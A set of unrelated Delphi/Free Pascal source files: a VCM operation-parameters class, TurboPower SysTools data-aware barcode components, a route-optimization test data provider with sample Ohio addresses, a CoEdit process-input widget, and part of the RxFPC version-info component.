unit vcmOperationParams; { Библиотека "vcm" } { Автор: Люлин А.В. © } { Модуль: vcmOperationParams - } { Начат: 14.01.2004 15:46 } { $Id: vcmOperationParams.pas,v 1.18 2013/07/05 09:10:35 lulin Exp $ } // $Log: vcmOperationParams.pas,v $ // Revision 1.18 2013/07/05 09:10:35 lulin // - чистим код. // // Revision 1.17 2013/04/25 14:22:38 lulin // - портируем. // // Revision 1.16 2011/07/29 15:08:37 lulin // {RequestLink:209585097}. // // Revision 1.15 2009/02/20 13:44:19 lulin // - <K>: 136941122. // // Revision 1.14 2007/04/12 07:57:09 lulin // - используем строки с кодировкой. // // Revision 1.13 2007/04/10 14:06:22 lulin // - используем строки с кодировкой. // // Revision 1.12 2006/03/20 13:03:52 lulin // - new behavior: выливаем параметры состояний операции. // // Revision 1.11 2004/09/13 08:56:10 lulin // - new behavior: TvcmPrimCollectionItem теперь может кешироваться и распределяться в пуле объектов. // // Revision 1.10 2004/09/10 16:21:46 lulin // - оптимизация - кешируем OpDef и передаем ссылку на OperationItem, а не на кучу параметров. // // Revision 1.9 2004/07/30 13:07:18 law // - cleanup. // // Revision 1.8 2004/07/30 12:50:18 law // - bug fix: ShortCut'ами формы затирались ShortCut'ы MenuManager'а. // // Revision 1.7 2004/07/30 08:44:04 law // - bug fix: неправильно определалась необходимость сохранения свойства SecondaryShortCuts. // // Revision 1.6 2004/03/11 10:45:04 nikitin75 // + Assign для присваивания SecondaryShortCuts; // // Revision 1.5 2004/03/09 11:37:03 nikitin75 // + поддержка нескольких shortcut'ов для операции; // // Revision 1.4 2004/03/09 07:17:57 nikitin75 // + поддержка нескольких shortcut'ов для операции; // // Revision 1.3 2004/01/14 14:45:45 law // - new prop: TvcmOperationState.Checked. // // Revision 1.2 2004/01/14 13:58:03 law // - new units: vcmOperationState, vcmOperationStates. // // Revision 1.1 2004/01/14 12:58:47 law // - new units: vcmOperationParams. // {$Include vcmDefine.inc } interface {$IfNDef NoVCM} uses Classes, ImgList, ActnList, vcmInterfaces, vcmBaseCollectionItem ; type TvcmOperationParams = class(TvcmBaseCollectionItem) private // property fields f_Hint : AnsiString; f_LongHint : AnsiString; f_ShortCut : TShortCut; f_SecondaryShortCuts : TShortCutList; f_ImageIndex : TImageIndex; protected // property methods function pm_GetHint: AnsiString; virtual; procedure pm_SetHint(const aValue: AnsiString); virtual; {-} function pm_GetLongHint: AnsiString; virtual; procedure pm_SetLongHint(const aValue: AnsiString); virtual; {-} function pm_GetImageIndex: TImageIndex; virtual; procedure pm_SetImageIndex(aValue: TImageIndex); virtual; function ImageIndexStored: Boolean; virtual; {-} function pm_GetShortCut: TShortCut; virtual; procedure pm_SetShortCut(aValue: TShortCut); virtual; {-} function pm_GetSecondaryShortCuts: TShortCutList; virtual; {-} procedure pm_SetSecondaryShortCuts(aValue: TShortCutList); virtual; {-} function SecondaryShortCutsStored: Boolean; virtual; {-} function ShortCutStored: Boolean; virtual; {-} function HintStored: Boolean; virtual; {-} function LongHintStored: Boolean; virtual; {-} procedure ChangeCaption(const anOld, aNew: AnsiString); override; { Вызывается при изменении заголовка. } procedure Cleanup; override; {-} procedure BeforeAddToCache; override; {-} public // public methods constructor Create(Collection: TCollection); override; {-} procedure Assign(P: TPersistent); override; {-} function QueryInterface(const IID: TGUID; out Obj): HResult; override; {-} published // published properties property Hint: AnsiString read pm_GetHint write pm_SetHint stored HintStored; { Текст всплывающей подсказки. } property LongHint: AnsiString read pm_GetLongHint write pm_SetLongHint stored LongHintStored; { Текст подсказки, отображаемой в статусной строке приложения. } property ShortCut: TShortCut read pm_GetShortCut write pm_SetShortCut stored ShortCutStored default 0; { "Горячая" клавиша для вызова операции. } property SecondaryShortCuts: TShortCutList read pm_GetSecondaryShortCuts write pm_SetSecondaryShortCuts stored SecondaryShortCutsStored; { Список дополнительных "горячих" клавиш для вызова операции. } property ImageIndex: TImageIndex read pm_GetImageIndex write pm_SetImageIndex stored ImageIndexStored default -1; { Индекс картинки, связанной с операцией } end;//TvcmOperationParams {$EndIf NoVCM} implementation {$IfNDef NoVCM} uses SysUtils, Menus, vcmBase, vcmUserControls, vcmUserFriendly ; // start class TvcmOperationParams constructor TvcmOperationParams.Create(Collection: TCollection); //override; {-} begin inherited; ImageIndex := -1; end; procedure TvcmOperationParams.Cleanup; //override; {-} begin FreeAndNil(f_SecondaryShortCuts); inherited; end; procedure TvcmOperationParams.BeforeAddToCache; //override; {-} begin inherited; f_Hint := ''; f_LongHint := ''; f_ShortCut := 0; end; function TvcmOperationParams.pm_GetHint: AnsiString; //virtual; begin Result := f_Hint; end; procedure TvcmOperationParams.pm_SetHint(const aValue: AnsiString); {-} begin if (f_Hint <> aValue) then begin if (f_Hint = LongHint) then LongHint := aValue; f_Hint := aValue; end;//f_Hint <> aValue end; function TvcmOperationParams.pm_GetLongHint: AnsiString; //virtual; {-} begin Result := f_LongHint; end; procedure TvcmOperationParams.pm_SetLongHint(const aValue: AnsiString); //virtual; {-} begin f_LongHint := aValue; end; function TvcmOperationParams.pm_GetImageIndex: TImageIndex; //virtual; {-} begin Result := f_ImageIndex; end; procedure TvcmOperationParams.pm_SetImageIndex(aValue: TImageIndex); //virtual; {-} begin f_ImageIndex := aValue; end; function TvcmOperationParams.ImageIndexStored: Boolean; //virtual; {-} begin Result := (f_ImageIndex >= 0); end; function TvcmOperationParams.pm_GetShortCut: TShortCut; //virtual; {-} begin Result := f_ShortCut; end; procedure TvcmOperationParams.pm_SetShortCut(aValue: TShortCut); //virtual; {-} begin f_ShortCut := aValue; end; function TvcmOperationParams.pm_GetSecondaryShortCuts: TShortCutList; //virtual; {-} begin if f_SecondaryShortCuts = nil then f_SecondaryShortCuts := TShortCutList.Create; Result := f_SecondaryShortCuts; end; procedure TvcmOperationParams.pm_SetSecondaryShortCuts(aValue: TShortCutList); //virtual; {-} begin if (aValue <> nil) then begin if f_SecondaryShortCuts = nil then f_SecondaryShortCuts := TShortCutList.Create; f_SecondaryShortCuts.Assign(aValue) end//aValue <> nil else if (f_SecondaryShortCuts <> nil) then f_SecondaryShortCuts.Clear; end; function TvcmOperationParams.SecondaryShortCutsStored: Boolean; //virtual; {-} begin Result := (SecondaryShortCuts <> nil) AND (SecondaryShortCuts.Count > 0); end; function TvcmOperationParams.ShortCutStored: Boolean; //virtual; {-} begin Result := (f_ShortCut <> 0); end; function TvcmOperationParams.HintStored: Boolean; {-} begin Result := (Hint <> Caption); end; function TvcmOperationParams.LongHintStored: Boolean; {-} begin Result := (LongHint <> Hint); end; procedure TvcmOperationParams.Assign(P: TPersistent); //override; {-} begin inherited; if (P Is TvcmOperationParams) then begin Hint := TvcmOperationParams(P).Hint; LongHint := TvcmOperationParams(P).LongHint; ShortCut := TvcmOperationParams(P).ShortCut; SecondaryShortCuts := TvcmOperationParams(P).SecondaryShortCuts; ImageIndex := TvcmOperationParams(P).ImageIndex; end;//TvcmBaseOperationsCollectionItem end; function TvcmOperationParams.QueryInterface(const IID: TGUID; out Obj): HResult; //override; {-} var l_UF : TvcmUserFriendly; begin if IsEqualGUID(IID, IvcmUserFriendlyControl) then begin Result := S_Ok; l_UF := TvcmUserFriendly.Create(Name, vcmCStr(Caption), vcmCStr(Hint), vcmCStr(LongHint), ImageIndex); try IvcmUserFriendlyControl(Obj) := l_UF; finally vcmFree(l_UF); end;//try..finally end//IsEqualGUID(IID, IvcmUserFriendlyControl) else Result := inherited QueryInterface(IID, Obj); end; procedure TvcmOperationParams.ChangeCaption(const anOld, aNew: AnsiString); //override; { Вызывается при изменении заголовка. } begin inherited; if (anOld = Hint) then Hint := aNew; end; {$EndIf NoVCM} end.
(* ***** BEGIN LICENSE BLOCK ***** * Version: MPL 1.1 * * The contents of this file are subject to the Mozilla Public License Version * 1.1 (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * http://www.mozilla.org/MPL/ * * Software distributed under the License is distributed on an "AS IS" basis, * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License * for the specific language governing rights and limitations under the * License. * * The Original Code is TurboPower SysTools * * The Initial Developer of the Original Code is * TurboPower Software * * Portions created by the Initial Developer are Copyright (C) 1996-2002 * the Initial Developer. All Rights Reserved. * * Contributor(s): * * ***** END LICENSE BLOCK ***** *) {*********************************************************} {* SysTools: StDb2DBC.pas 4.04 *} {*********************************************************} {* SysTools: Data-aware Two-Dimensional Barcodes *} {*********************************************************} {$I StDefine.inc} unit StDb2DBC; interface uses Windows, Messages, SysUtils, Classes, St2DBarC, Db, DbCtrls; type TStDbPDF417Barcode = class(TStPDF417Barcode) protected {private} {.Z+} FCaptionDataLink : TFieldDataLink; FCodeDataLink : TFieldDataLink; procedure CaptionDataChange(Sender : TObject); procedure CodeDataChange(Sender : TObject); function GetCaptionDataField : string; function GetCodeDataField : string; function GetDataSource : TDataSource; procedure SetCaptionDataField(const Value : string); procedure SetCodeDataField(const Value : string); procedure SetDataSource(Value : TDataSource); public constructor Create(AOwner : TComponent); override; destructor Destroy; override; {.Z+} published property Code stored False; property Caption stored False; property CaptionDataField : string read GetCaptionDataField write SetCaptionDataField; property CodeDataField : string read GetCodeDataField write SetCodeDataField; property DataSource : TDataSource read GetDataSource write SetDataSource; end; TStDbMaxiCodeBarcode = class(TStMaxiCodeBarcode) protected {private} {.Z+} FCaptionDataLink : TFieldDataLink; FCodeDataLink : TFieldDataLink; FCountryCodeDataLink : TFieldDataLink; FPostalCodeDataLink : TFieldDataLink; FServiceClassDataLink : TFieldDataLink; procedure CaptionDataChange (Sender : TObject); procedure CodeDataChange (Sender : TObject); procedure CountryCodeChange (Sender : TObject); function GetCaptionDataField : string; function GetCodeDataField : string; function GetCountryCodeDataField : string; function GetDataSource : TDataSource; function GetPostalCodeDataField : string; function GetServiceClassDataField : string; procedure PostalCodeChange (Sender : TObject); procedure ServiceClassChange (Sender : TObject); procedure SetCaptionDataField (const Value : string); procedure SetCodeDataField (const Value : string); procedure SetCountryCodeDataField (const Value : string); procedure SetDataSource (Value : TDataSource); procedure SetPostalCodeDataField (const Value : string); procedure SetServiceClassDataField (const Value : string); public constructor Create(AOwner : TComponent); override; destructor Destroy; override; {.Z+} published property Code stored False; property Caption stored False; property CaptionDataField : string read GetCaptionDataField write SetCaptionDataField; property CarrierCountryCodeDataField : string read GetCountryCodeDataField write SetCountryCodeDataField; property CarrierPostalCodeDataField : string read GetPostalCodeDataField write SetPostalCodeDataField; property CarrierServiceClassDataField : string read GetServiceClassDataField write SetServiceClassDataField; property CodeDataField : string read GetCodeDataField write SetCodeDataField; property DataSource : TDataSource read GetDataSource write SetDataSource; end; implementation { TStDbPDF417Barcode } constructor TStDbPDF417Barcode.Create(AOwner : TComponent); begin inherited Create(AOwner); FCaptionDataLink := TFieldDataLink.Create; FCaptionDataLink.OnDataChange := CaptionDataChange; FCodeDataLink := TFieldDataLink.Create; FCodeDataLink.OnDataChange := CodeDataChange; end; destructor TStDbPDF417Barcode.Destroy; begin FCaptionDataLink.OnDataChange := nil; FCaptionDataLink.Free; FCaptionDataLink := nil; FCodeDataLink.OnDataChange := nil; FCodeDataLink.Free; FCodeDataLink := nil; inherited Destroy; end; procedure TStDbPDF417Barcode.CaptionDataChange(Sender : TObject); begin if FCaptionDataLink.Field = nil then Caption := '12345678922' else Caption := FCaptionDataLink.Field.DisplayText; end; procedure TStDbPDF417Barcode.CodeDataChange(Sender : TObject); begin if FCodeDataLink.Field = nil then Code := '12345678922' else Code := FCodeDataLink.Field.DisplayText; end; function TStDbPDF417Barcode.GetCaptionDataField : string; begin Result := FCaptionDataLink.FieldName; end; function TStDbPDF417Barcode.GetCodeDataField : string; begin Result := FCodeDataLink.FieldName; end; function TStDbPDF417Barcode.GetDataSource : TDataSource; begin Result := FCaptionDataLink.DataSource end; procedure TStDbPDF417Barcode.SetCaptionDataField(const Value : string); begin FCaptionDataLink.FieldName := Value; end; procedure TStDbPDF417Barcode.SetCodeDataField(const Value : string); begin FCodeDataLink.FieldName := Value; end; procedure TStDbPDF417Barcode.SetDataSource(Value : TDataSource); begin FCaptionDataLink.DataSource := Value; FCodeDataLink.DataSource := Value; end; { TStDbMaxiCodeBarcode } constructor TStDbMaxiCodeBarcode.Create(AOwner : TComponent); begin inherited Create(AOwner); FCaptionDataLink := TFieldDataLink.Create; FCaptionDataLink.OnDataChange := CaptionDataChange; FCodeDataLink := TFieldDataLink.Create; FCodeDataLink.OnDataChange := CodeDataChange; FCountryCodeDataLink := TFieldDataLink.Create; FCountryCodeDataLink.OnDataChange := CountryCodeChange; FPostalCodeDataLink := TFieldDataLink.Create; FPostalCodeDataLink.OnDataChange := PostalCodeChange; FServiceClassDataLink := TFieldDataLink.Create; FServiceClassDataLink.OnDataChange := ServiceClassChange; end; destructor TStDbMaxiCodeBarcode.Destroy; begin FCaptionDataLink.OnDataChange := nil; FCaptionDataLink.Free; FCaptionDataLink := nil; FCodeDataLink.OnDataChange := nil; FCodeDataLink.Free; FCodeDataLink := nil; FCountryCodeDataLink.OnDataChange := nil; FCountryCodeDataLink.Free; FCountryCodeDataLink := nil; FPostalCodeDataLink.OnDataChange := nil; FPostalCodeDataLink.Free; FPostalCodeDataLink := nil; FServiceClassDataLink.OnDataChange := nil; FServiceClassDataLink.Free; FServiceClassDataLink := nil; inherited Destroy; end; procedure TStDbMaxiCodeBarcode.CaptionDataChange(Sender : TObject); begin if FCaptionDataLink.Field = nil then Caption := '12345678922' else Caption := FCaptionDataLink.Field.DisplayText; end; procedure TStDbMaxiCodeBarcode.CodeDataChange(Sender : TObject); begin if FCodeDataLink.Field = nil then Code := '12345678922' else Code := FCodeDataLink.Field.DisplayText; end; procedure TStDbMaxiCodeBarcode.CountryCodeChange (Sender : TObject); begin if FCountryCodeDataLink.Field = nil then CarrierCountryCode := 0 else CarrierCountryCode := FCountryCodeDataLink.Field.AsInteger; end; function TStDbMaxiCodeBarcode.GetCaptionDataField : string; begin Result := FCaptionDataLink.FieldName; end; function TStDbMaxiCodeBarcode.GetCodeDataField : string; begin Result := FCodeDataLink.FieldName; end; function TStDbMaxiCodeBarcode.GetCountryCodeDataField : string; begin Result := FCountryCodeDataLink.FieldName; end; function TStDbMaxiCodeBarcode.GetDataSource : TDataSource; begin Result := FCaptionDataLink.DataSource end; function TStDbMaxiCodeBarcode.GetPostalCodeDataField : string; begin Result := FPostalCodeDataLink.FieldName; end; function TStDbMaxiCodeBarcode.GetServiceClassDataField : string; begin Result := FServiceClassDataLink.FieldName; end; procedure TStDbMaxiCodeBarcode.PostalCodeChange (Sender : TObject); begin if FPostalCodeDataLink.Field = nil then CarrierPostalCode := '000' else CarrierPostalCode := FPostalCodeDataLink.Field.DisplayText; end; procedure TStDbMaxiCodeBarcode.ServiceClassChange (Sender : TObject); begin if FServiceClassDataLink.Field = nil then CarrierServiceClass := 0 else CarrierServiceClass := FServiceClassDataLink.Field.AsInteger; end; procedure TStDbMaxiCodeBarcode.SetCaptionDataField(const Value : string); begin FCaptionDataLink.FieldName := Value; end; procedure TStDbMaxiCodeBarcode.SetCodeDataField(const Value : string); begin FCodeDataLink.FieldName := Value; end; procedure TStDbMaxiCodeBarcode.SetCountryCodeDataField (const Value : string); begin FCountryCodeDataLink.FieldName := Value; end; procedure TStDbMaxiCodeBarcode.SetDataSource(Value : TDataSource); begin FCaptionDataLink.DataSource := Value; FCodeDataLink.DataSource := Value; FCountryCodeDataLink.DataSource := Value; FPostalCodeDataLink.DataSource := Value; FServiceClassDataLink.DataSource := Value; end; procedure TStDbMaxiCodeBarcode.SetPostalCodeDataField (const Value : string); begin FPostalCodeDataLink.FieldName := Value; end; procedure TStDbMaxiCodeBarcode.SetServiceClassDataField (const Value : string); begin FServiceClassDataLink.FieldName := Value; end; end.
unit SingleDriverMultipleTimeWindowsTestDataProviderUnit; interface uses SysUtils, BaseOptimizationParametersProviderUnit, AddressUnit, RouteParametersUnit, OptimizationParametersUnit; type TSingleDriverMultipleTimeWindowsTestDataProvider = class(TBaseOptimizationParametersProvider) protected function MakeAddresses(): TArray<TAddress>; override; function MakeRouteParameters(): TRouteParameters; override; /// <summary> /// After response some fields are changed from request. /// </summary> procedure CorrectForResponse(OptimizationParameters: TOptimizationParameters); override; public end; implementation { TSingleDriverMultipleTimeWindowsTestDataProvider } uses DateUtils, EnumsUnit, UtilsUnit, NullableBasicTypesUnit; procedure TSingleDriverMultipleTimeWindowsTestDataProvider.CorrectForResponse( OptimizationParameters: TOptimizationParameters); begin inherited; end; function TSingleDriverMultipleTimeWindowsTestDataProvider.MakeAddresses: TArray<TAddress>; var Address: TAddress; begin Result := TArray<TAddress>.Create(); Address := TAddress.Create( '3634 W Market St, Fairlawn, OH 44333', 41.135762259364, -81.629313826561, NullableInteger.Null); // all possible originating locations are depots, should be marked as true // stylistically we recommend all depots should be at the top of the destinations list Address.IsDepot := True; AddAddress(Address, Result); AddAddress(TAddress.Create( '1218 Ruth Ave, Cuyahoga Falls, OH 44221', 41.135762259364, -81.629313826561, 300, //together these two specify the time window of a destination //seconds offset relative to the route start time for the open availability of a destination 6 * 3600 + 00 * 60, //seconds offset relative to the route end time for the open availability of a destination 6 * 3600 + 30 * 60, // Second 'TimeWindowStart' 7 * 3600 + 00 * 60, // Second 'TimeWindowEnd' 7 * 3600 + 20 * 60), Result); AddAddress(TAddress.Create( '512 Florida Pl, Barberton, OH 44203', 41.003671512008, -81.598461046815, 300, 7 * 3600 + 30 * 60, 7 * 3600 + 40 * 60, 8 * 3600 + 00 * 60, 8 * 3600 + 10 * 60), Result); AddAddress(TAddress.Create( '512 Florida Pl, Barberton, OH 44203', 41.003671512008, -81.598461046815, 100, 8 * 3600 + 30 * 60, 8 * 3600 + 40 * 60, 8 * 3600 + 50 * 60, 9 * 3600 + 00 * 60), Result); AddAddress(TAddress.Create( '3495 Purdue St, Cuyahoga Falls, OH 44221', 41.162971496582, -81.479049682617, 300, 9 * 3600 + 00 * 60, 9 * 3600 + 15 * 60, 9 * 3600 + 30 * 60, 9 * 3600 + 45 * 60), Result); AddAddress(TAddress.Create( '1659 Hibbard Dr, Stow, OH 44224', 41.194505989552, -81.443351581693, 300, 10 * 3600 + 00 * 60, 10 * 3600 + 15 * 60, 10 * 3600 + 30 * 60, 10 * 3600 + 45 * 60), Result); AddAddress(TAddress.Create( '2705 N River Rd, Stow, OH 44224', 41.145240783691, -81.410247802734, 300, 11 * 3600 + 00 * 60, 11 * 3600 + 15 * 60, 11 * 3600 + 30 * 60, 11 * 3600 + 45 * 60), Result); AddAddress(TAddress.Create( '10159 Bissell Dr, Twinsburg, OH 44087', 41.340042114258, -81.421226501465, 300, 12 * 3600 + 00 * 60, 12 * 3600 + 15 * 60, 12 * 3600 + 30 * 60, 12 * 3600 + 45 * 60), Result); AddAddress(TAddress.Create( '367 Cathy Dr, Munroe Falls, OH 44262', 41.148578643799, -81.429229736328, 300, 13 * 3600 + 00 * 60, 13 * 3600 + 15 * 60, 13 * 3600 + 30 * 60, 13 * 3600 + 45 * 60), Result); AddAddress(TAddress.Create( '367 Cathy Dr, Munroe Falls, OH 44262', 41.148578643799, -81.429229736328, 300, 14 * 3600 + 00 * 60, 14 * 3600 + 15 * 60, 14 * 3600 + 30 * 60, 14 * 3600 + 45 * 60), Result); AddAddress(TAddress.Create( '512 Florida Pl, Barberton, OH 44203', 41.003671512008, -81.598461046815, 300, 15 * 3600 + 00 * 60, 15 * 3600 + 15 * 60, 15 * 3600 + 30 * 60, 15 * 3600 + 45 * 60), Result); AddAddress(TAddress.Create( '559 W Aurora Rd, Northfield, OH 44067', 41.315116882324, -81.558746337891, 50, 16 * 3600 + 00 * 60, 16 * 3600 + 15 * 60, 16 * 3600 + 30 * 60, 17 * 3600 + 00 * 60), Result); end; function TSingleDriverMultipleTimeWindowsTestDataProvider.MakeRouteParameters: TRouteParameters; begin Result := TRouteParameters.Create(); Result.AlgorithmType := TAlgorithmType.TSP; Result.StoreRoute := False; Result.RouteName := 'Single Driver Multiple TimeWindows 12 Stops'; Result.RouteDate := 53583232;//TUtils.ConvertToUnixTimestamp(IncDay(Now, 1)); Result.RouteTime := 5 * 3600 + 30 * 60; Result.Optimize := TOptimize.Distance; Result.DistanceUnit := TDistanceUnit.MI; Result.DeviceType := TDeviceType.Web; end; end.
unit ce_procinput; {$I ce_defines.inc} interface uses Classes, SysUtils, FileUtil, Forms, Controls, Graphics, Dialogs, ExtCtrls, Menus, StdCtrls, ce_widget, process, ce_common, ce_interfaces, ce_observer, ce_mru; type { TCEProcInputWidget } TCEProcInputWidget = class(TCEWidget, ICEProcInputHandler) btnSend: TButton; Panel1: TPanel; txtInp: TEdit; txtExeName: TStaticText; procedure btnSendClick(Sender: TObject); procedure txtInpKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); private fMruPos: Integer; fMru: TCEMRUList; fProc: TProcess; procedure sendInput; // function singleServiceName: string; procedure addProcess(aProcess: TProcess); procedure removeProcess(aProcess: TProcess); function process(): TProcess; public constructor create(aOwner: TComponent); override; destructor destroy; override; end; implementation {$R *.lfm} uses ce_symstring, LCLType; const OptsFname = 'procinput.txt'; {$REGION Standard Comp/Obj -----------------------------------------------------} constructor TCEProcInputWidget.create(aOwner: TComponent); var fname: string; begin inherited; fMru := TCEMRUList.Create; fMru.maxCount := 25; EntitiesConnector.addSingleService(self); fname := getCoeditDocPath + OptsFname; if fileExists(OptsFname) then fMru.LoadFromFile(fname); if fMru.Count = 0 then fMru.Insert(0, '(your input here)'); end; destructor TCEProcInputWidget.destroy; begin // note that mru list max count is not saved. fMru.SaveToFile(getCoeditDocPath + OptsFname); fMru.Free; inherited; end; {$ENDREGION --------------------------------------------------------------------} {$REGION ICEProcInputHandler ---------------------------------------------------} function TCEProcInputWidget.singleServiceName: string; begin exit('ICEProcInputHandler'); end; procedure TCEProcInputWidget.addProcess(aProcess: TProcess); begin Panel1.Enabled:=false; // TODO-cfeature: process list, imply that each TCESynMemo must have its own runnable TProcess // currently they share the CEMainForm.fRunProc variable. if fProc <> nil then fProc.Terminate(1); txtExeName.Caption := 'no process'; fProc := nil; if aProcess = nil then exit; if not (poUsePipes in aProcess.Options) then exit; fProc := aProcess; if fProc <> nil then Panel1.Enabled:=true; txtExeName.Caption := shortenPath(fProc.Executable); end; procedure TCEProcInputWidget.removeProcess(aProcess: TProcess); begin if fProc = aProcess then addProcess(nil); end; function TCEProcInputWidget.process(): TProcess; begin exit(fProc); end; {$ENDREGION} {$REGION Process input things --------------------------------------------------} procedure TCEProcInputWidget.sendInput; var inp: string; begin fMru.Insert(0,txtInp.Text); fMruPos := 0; if txtInp.Text <> '' then inp := symbolExpander.get(txtInp.Text) + lineEnding else inp := txtInp.Text + lineEnding; fProc.Input.Write(inp[1], length(inp)); txtInp.Text := ''; end; procedure TCEProcInputWidget.btnSendClick(Sender: TObject); begin if fProc = nil then exit; sendInput; end; procedure TCEProcInputWidget.txtInpKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin case Key of VK_RETURN: if fProc <> nil then sendInput; VK_UP: begin fMruPos += 1; if fMruPos > fMru.Count-1 then fMruPos := 0; txtInp.Text := fMru.Strings[fMruPos]; end; VK_DOWN: begin fMruPos -= 1; if fMruPos < 0 then fMruPos := fMru.Count-1; txtInp.Text := fMru.Strings[fMruPos]; end; end; end; {$ENDREGION --------------------------------------------------------------------} end.
{ RxVersInfo is part of RxFPC library Copyright (C) 2010 Lagunov A.A. alexs75@hotbox.ru This library is free software; you can redistribute it and/or modify it under the terms of the GNU Library General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version with the following modification: As a special exception, the copyright holders of this library give you permission to link this library with independent modules to produce an executable, regardless of the license terms of these independent modules,and to copy and distribute the resulting executable under terms of your choice, provided that you also meet, for each linked independent module, the terms and conditions of the license of that module. An independent module is a module which is not derived from or based on this library. If you modify this library, you may extend this exception to your version of the library, but you are not obligated to do so. If you do not wish to do so, delete this exception statement from your version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Library General Public License for more details. You should have received a copy of the GNU Library General Public License along with this library; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. } unit RxVersInfo; {$mode objfpc} interface uses Classes, SysUtils, versionresource; type TLongVersion = string; TVersionCharSet = string; TVersionLanguage = string; { TRxVersionInfo } TRxVersionInfo = class(TComponent) private FValid: Boolean; FValues:TStringList; function GetComments: string; function GetCompanyName: string; function GetFileDescription: string; function GetFileLongVersion: TLongVersion; function GetFileName: string; function GetFileVersion: string; //function GetFixedFileInfo: PVSFixedFileInfo; function GetInternalName: string; function GetLegalCopyright: string; function GetLegalTrademarks: string; function GetOriginalFilename: string; function GetPrivateBuild: string; function GetProductLongVersion: TLongVersion; function GetProductName: string; function GetProductVersion: string; function GetSpecialBuild: string; function GetTranslation: Pointer; function GetVerFileDate: TDateTime; function GetVersionCharSet: TVersionCharSet; function GetVersionLanguage: TVersionLanguage; function GetVersionNum: Longint; function GetVerValue(const VerName: string): string; function GetWidgetName: string; procedure SetFileName(const AValue: string); procedure DoVersionInfo(V:TVersionResource); protected { Protected declarations } public constructor Create(AOwner: TComponent);override; destructor Destroy; override; procedure LoadFromFile(const AFileName:string); property FileName: string read GetFileName write SetFileName; property Valid: Boolean read FValid; //property FixedFileInfo: PVSFixedFileInfo read GetFixedFileInfo; property FileLongVersion: TLongVersion read GetFileLongVersion; property ProductLongVersion: TLongVersion read GetProductLongVersion; property Translation: Pointer read GetTranslation; property VersionLanguage: TVersionLanguage read GetVersionLanguage; property VersionCharSet: TVersionCharSet read GetVersionCharSet; property VersionNum: Longint read GetVersionNum; property Comments: string read GetComments; property CompanyName: string read GetCompanyName; property FileDescription: string read GetFileDescription; property FileVersion: string read GetFileVersion; property InternalName: string read GetInternalName; property LegalCopyright: string read GetLegalCopyright; property LegalTrademarks: string read GetLegalTrademarks; property OriginalFilename: string read GetOriginalFilename; property ProductVersion: string read GetProductVersion; property ProductName: string read GetProductName; property SpecialBuild: string read GetSpecialBuild; property PrivateBuild: string read GetPrivateBuild; property Values[const VerName: string]: string read GetVerValue; property VerFileDate: TDateTime read GetVerFileDate; published property WidgetName:string read GetWidgetName; end; implementation uses FileUtil, resource, resreader, InterfaceBase, rxconst, {$IFDEF WINDOWS} winpeimagereader {$ENDIF} {$IFDEF LINUX} elfreader {$ENDIF} ; { TRxVersionInfo } function TRxVersionInfo.GetComments: string; begin Result:=FValues.Values['Comments']; end; function TRxVersionInfo.GetCompanyName: string; begin Result:=FValues.Values['CompanyName']; end; function TRxVersionInfo.GetFileDescription: string; begin Result:=FValues.Values['FileDescription']; end; function TRxVersionInfo.GetFileLongVersion: TLongVersion; begin Result:=FValues.Values['FileVersion']; end; function TRxVersionInfo.GetFileName: string; begin Result:=FValues.Values['OriginalFilename']; end; function TRxVersionInfo.GetFileVersion: string; begin Result:=FValues.Values['FileVersion']; end; {function TRxVersionInfo.GetFixedFileInfo: PVSFixedFileInfo; begin Result:=''; end;} function TRxVersionInfo.GetInternalName: string; begin Result:=FValues.Values['InternalName']; end; function TRxVersionInfo.GetLegalCopyright: string; begin Result:=FValues.Values['LegalCopyright']; end; function TRxVersionInfo.GetLegalTrademarks: string; begin Result:=FValues.Values['LegalTrademarks']; end; function TRxVersionInfo.GetOriginalFilename: string; begin Result:=FValues.Values['LegalTrademarks']; end; function TRxVersionInfo.GetPrivateBuild: string; begin Result:=''; end; function TRxVersionInfo.GetProductLongVersion: TLongVersion; begin Result:=''; end; function TRxVersionInfo.GetProductName: string; begin Result:=FValues.Values['ProductName']; end; function TRxVersionInfo.GetProductVersion: string; begin Result:=FValues.Values['ProductVersion']; end; function TRxVersionInfo.GetSpecialBuild: string; begin Result:=''; end; function TRxVersionInfo.GetTranslation: Pointer; begin Result:=nil; end; function TRxVersionInfo.GetVerFileDate: TDateTime; begin Result:=0; end; function TRxVersionInfo.GetVersionCharSet: TVersionCharSet; begin Result:=''; end; function TRxVersionInfo.GetVersionLanguage: TVersionLanguage; begin Result:=''; end; function TRxVersionInfo.GetVersionNum: Longint; begin Result:=0; end; procedure TRxVersionInfo.SetFileName(const AValue: string); begin end; procedure TRxVersionInfo.DoVersionInfo(V: TVersionResource); var i,j:integer; begin for i:=0 to V.StringFileInfo.Count-1 do begin for j:=0 to V.StringFileInfo[i].Count-1 do FValues.Values[V.StringFileInfo[i].Keys[j]]:=SysToUTF8(V.StringFileInfo[i].ValuesByIndex[j]); end; end; constructor TRxVersionInfo.Create(AOwner: TComponent); begin inherited Create(AOwner); FValues:=TStringList.Create; LoadFromFile(ParamStr(0)); end; destructor TRxVersionInfo.Destroy; begin FreeAndNil(FValues); inherited Destroy; end; procedure TRxVersionInfo.LoadFromFile(const AFileName: string); var Res:TResources; i:integer; Reader:TAbstractResourceReader; V:TVersionResource; begin FValues.Clear; FValid:=false; {$IFDEF WINDOWS} Reader:=TWinPEImageResourceReader.Create; {$ENDIF} {$IFDEF LINUX} Reader:=TElfResourceReader.Create; {$ENDIF} Res:=TResources.Create; V:=nil; try Res.LoadFromFile(ParamStr(0), Reader); for i:=0 to Res.Count-1 do begin if Res[i] is TVersionResource then V:=Res[i] as TVersionResource; end; FValid:=Assigned(V); if FValid then DoVersionInfo(V); finally Res.Free; Reader.Free; end; end; function TRxVersionInfo.GetVerValue(const VerName: string): string; begin Result:=FValues.Values[VerName]; end; function TRxVersionInfo.GetWidgetName: string; begin case WidgetSet.LCLPlatform of lpGtk:Result:=sGTKWidgetSet; lpGtk2:Result:=sGTK2WidgetSet; lpWin32:Result:=sWin32_64WidgetSet; lpWinCE:Result:=sWinCEWidgetSet; lpCarbon:Result:=sCarbonWidgetSet; 